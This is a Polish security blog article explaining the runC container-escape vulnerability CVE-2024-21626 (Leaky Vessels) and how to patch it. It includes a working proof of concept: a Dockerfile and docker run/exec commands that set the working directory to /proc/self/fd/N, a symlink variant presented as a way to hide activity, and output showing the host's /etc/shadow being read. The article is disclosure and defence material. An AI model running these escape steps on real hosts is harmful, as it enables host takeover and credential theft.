NFsec Logo

Nieszczelne naczynka w Dockerze

07/02/2024 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 889, ilość słów: 1190)

P

rzesiąkanie płynu z małych naczyń krwionośnych do otaczających tkanek wymaga natychmiastowego leczenia, aby zapobiec spadkowi ciśnienia krwi i innym poważnym powikłaniom. Identycznie jest w przypadku zespołu podatności o nazwie Leaky Vessels, które wykryto w środowisku wykonawczym kontenerów, w szczególności runC (CVE-2024-21626) oraz w BuildKit (CVE-2024-23651, CVE-2024-23652 i CVE-2024-23653) używanym przez takie projekty jak: Docker, Kubernetes i inne platformy konteneryzacji. Luki te umożliwiają ucieczkę z kontenera, a osobie atakującej, która posiada dostęp do takiego kontenera, wykonanie dowolnego kodu na maszynie hosta, narażając w ten sposób cały system.

Najbardziej krytyczną podatnością jest ta znaleziona w runC, ponieważ umożliwia nieupoważnionej osobie uzyskanie dostępu do systemu plików systemu operacyjnego hosta, uzyskując w ten sposób uprzywilejowaną kontrolę nad serwerem hostującym kontener. Wykorzystując tę lukę, osoba atakująca może przeprowadzić włamanie np. do bazowego węzła Kubernetes podczas wdrażania podów lub wydostać się z platform do budowy oprogramowania opartych na środowiskach kontenerowych. Od strony technicznej wygląda to tak, że runC jest podatny na atak polegający na wycieku deskryptora pliku (ang. File Descriptor Leak) i późniejszym wykorzystaniu techniki Path Traversal w celu dostępu do wrażliwych danych. Możliwe jest to dzięki słabej kontroli dostarczanych ścieżek systemowych kontenerowi, które można powiązać z innymi katalogami już w systemie hosta – umożliwiając tym samym dostęp do innych zasobów w systemie uruchamiającym kontener.

Przyczyną tej luki jest sposób, w jaki program runC przetwarza dyrektywę WORKDIR w pliku Dockerfile lub z linii poleceń. Podczas określania początkowego katalogu roboczego dla procesów utworzonych podczas operacji budowy (docker build) lub uruchomienia (docker run) runC zmienia katalog za pomocą wywołania systemowego rchdir przed zamknięciem niektórych deskryptorów plików katalogów z uprzywilejowanego hosta. To przeoczenie umożliwia atakującemu manipulowanie dyrektywą WORKDIR poprzez wskazanie uprzywilejowanego deskryptora plików w ścieżce /proc/self/fd/. W rezultacie, nawet gdy runC zamknie deskryptor pliku podczas normalnych operacji, pozostanie on dostępny, ułatwiając nieautoryzowany dostęp do wrażliwych plików hosta i tworzenie dowolnych plików w systemie. Dlatego jeśli ustawimy katalog roboczy na ścieżkę: /proc/self/fd/7 (lub 8 lub 9) możemy spowodować, że runC ustawi bieżący katalog roboczy na /sys/fs/cgroup, ale na hoście! PID 1 w kontenerze będzie miał wtedy katalog roboczy nie w przestrzeni nazw systemu plików kontenera, ale hosta! Dalsze wykorzystanie tej przypadłości i przejęcie maszyny hostującej kontener zależy od inwencji twórczej atakującego – może na przykład dodać swój klucz SSH, zestawić tunnel lub dodać złośliwy mechanizm stałego dostępu do daemona crontab itd. W dodatku jeśli proces kontenera uruchamiany jest z prawami administratora (UID 0) i nie ma mapowania na przestrzeń nazw użytkownika – atakujący może wykonać te wszystkie czynności jako administrator i całkowicie przejąć maszynę.

Przykład wykorzystania tej luki zostanie zademonstrowany na systemie Ubuntu 22.04 LTS z pakietem runc w wersji 1.1.7-0ubuntu1~22.04.1. W pierwszej wersji stworzymy “szkodliwy” plik Dockerfile, który zbuduje nam testowy obraz oraz uruchomi kontener umożliwiając ucieczkę:

FROM ubuntu

WORKDIR /proc/self/fd/8

Na jego podstawie zbudujemy obraz o nazwie cve-2024-21626 i specjalnie uruchomimy w systemie z prawami administratora:

root@darkstar:~# cat /etc/shadow | grep agresor
agresor:$6$kyR06JGLRrfXVIxd$C...ge3ER6ncBtWaYj/K5kaPeP0:19303:0:99999:7:::

root@darkstar:~# docker build -t cve-2024-21626 .
Sending build context to Docker daemon   42.9MB
Step 1/2 : FROM ubuntu
 ---> fd1d8f58e8ae
Step 2/2 : WORKDIR /proc/self/fd/8
 ---> Using cache
 ---> 28df49bdd0c0
Successfully built 28df49bdd0c0
Successfully tagged cve-2024-21626:latest

root@darkstar:~# docker run --rm -ti cve-2024-21626
shell-init: error retrieving current directory: 
getcwd: cannot access parent directories: No such file or directory

root@0aecacc91139:.# pwd
pwd: error retrieving current directory: 
getcwd: cannot access parent directories: No such file or directory

root@0aecacc91139:.# ls -F
job-working-directory: error retrieving current directory: 
getcwd: cannot access parent directories: No such file or directory
cgroup.controllers      cgroup.procs            cgroup.threads
cgroup.max.depth        cgroup.stat             cpu.pressure
cgroup.max.descendants  cgroup.subtree_control  cpu.stat

root@0aecacc91139:.# ls ../../../../
job-working-directory: error retrieving current directory: 
getcwd: cannot access parent directories: No such file or directory
bin  boot  dev	etc  home  lib	lib32  lib64  libx32  lost+found  media
mnt  opt  proc  root  run  sbin  snap	srv  swap.img  sys  tmp  usr  var

root@0aecacc91139:.# cat ../../../../etc/shadow | grep agresor
job-working-directory: error retrieving current directory: 
getcwd: cannot access parent directories: No such file or directory
agresor:$6$kyR06JGLRrfXVIxd$C...ge3ER6ncBtWaYj/K5kaPeP0:19303:0:99999:7:::

Podczas pierwszych testów, gdy na początku został użyty FD o numerze 7 dopiero za szóstym razem udało się uruchomić kontener – poprzednie próby kończyły się zawsze błędem:

root@darkstar:~# docker run --rm -ti cve-2024-21626
docker: Error response from daemon: failed to create task for container: 
failed to create shim task: OCI runtime create failed: runc create failed: 
unable to start container process: error during container init:
mkdir /proc/self/fd/7: no such file or directory: unknown.

Dlatego warto iterować po różnych deskryptorach plików przy kolejnych próbach. Innym sposobem bez użycia pliku Dockerfile jest wykorzystanie linii poleceń i parametru –workdir:

root@darkstar:~# docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it ubuntu:jammy
Unable to find image 'ubuntu:jammy' locally
jammy: Pulling from library/ubuntu
Digest: sha256:e9569c25505f33ff72e88b2990887c9dcf230f23259da296eb814fc2b41af999
Status: Downloaded newer image for ubuntu:jammy
shell-init: error retrieving current directory: 
getcwd: cannot access parent directories: No such file or directory
root@108d09a270c9:.#

Możemy też wykorzystać już uruchomiony kontener:

root@darkstar:~# docker run --rm -d ubuntu:jammy sleep infinity
f04b3f760293fc11c2f485c9fb234a3dc5d63912bb950ce8a5ad50956bd0ef3d

root@darkstar:~# docker ps -a
CONTAINER ID   IMAGE          COMMAND            CREATED          STATUS          
f04b3f760293   ubuntu:jammy   "sleep infinity"   17 seconds ago   Up 12 seconds

root@darkstar:~# docker exec -it -w /proc/self/fd/8 f04b3f760293 /bin/bash
shell-init: error retrieving current directory: 
getcwd: cannot access parent directories: No such file or directory
root@f04b3f760293:.#

W celu ukrycia naszej aktywności istnieje również możliwość uruchomienia kontenera, w którym stworzymy dowiązania symboliczne do odpowiednich deskryptorów plików, następnie za pomocą polecenia docker exec w osobnej konsoli ustawimy katalog roboczy na stworzony symlink uzyskując tym samym dostęp do systemu plików maszyny poprzez ścieżkę /proc/$PID/cwd, gdzie $PID oznacza ID procesu wygenerowanego przez polecenie: docker exec.

// konsola #1:

root@darkstar:~# docker run --name cve-2024-21626 --rm -it ubuntu:jammy
root@f879a28ed60d:/# ln -sf /proc/self/fd/7 /lucky_seven
root@f879a28ed60d:/# ln -sf /proc/self/fd/8 /black_eight

// konsola #2:
root@darkstar:~# docker exec -it -w /black_eight cve-2024-21626 sleep infinity

// konsola #1:
root@f879a28ed60d:/# cat /proc/11/cmdline
sleepinfinity

root@f879a28ed60d:/# ls -al /proc/11/cwd/../../../../etc/shadow
-rw-r----- 1 root shadow 1086 Nov 22 19:12 /proc/11/cwd/../../../../etc/shadow

root@f879a28ed60d:/# grep agresor /proc/11/cwd/../../../../etc/shadow
agresor:$6$kyR06JGLRrfXVIxd$C...ge3ER6ncBtWaYj/K5kaPeP0:19303:0:99999:7:::

Jak widzimy atak bazuje zawsze na wykorzystaniu katalogu roboczego w formacie: /proc/self/fd/[0-9]+ podczas tworzenia kontenerów lub uruchamiania nowych procesów w kontenerze, co może ułatwić detekcję takiego zachowania. Jednak należy pamiętać, że może ono zostać również zamaskowane poprzez różne inne polecenia dlatego najlepszym rozwiązaniem jest po prostu załatanie runC do wersji 1.1.12 lub wersji o odpowiednim numerze łatki np. 1.1.7-0ubuntu1~22.04.2. Najwięksi dostawcy chmurowi oraz dystrybucje linuksowe wydały już własne porady i biuletyny bezpieczeństwa dotyczące zalecanych działań w tym temacie, których powinniśmy przestrzegać.

Więcej informacji: Leaky Vessels: Docker and runc container breakout vulnerabilities, Leaky Vessels: runC and BuildKit container escape vulnerabilities – everything you need to know, runc working directory breakout (CVE-2024-21626), Illustrate runC Escape Vulnerability CVE-2024-21626

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , ,

Podobne artykuły:

  • Brak tematycznie powiązanych artykułów.

Komentowanie tego wpisu jest zablokowane.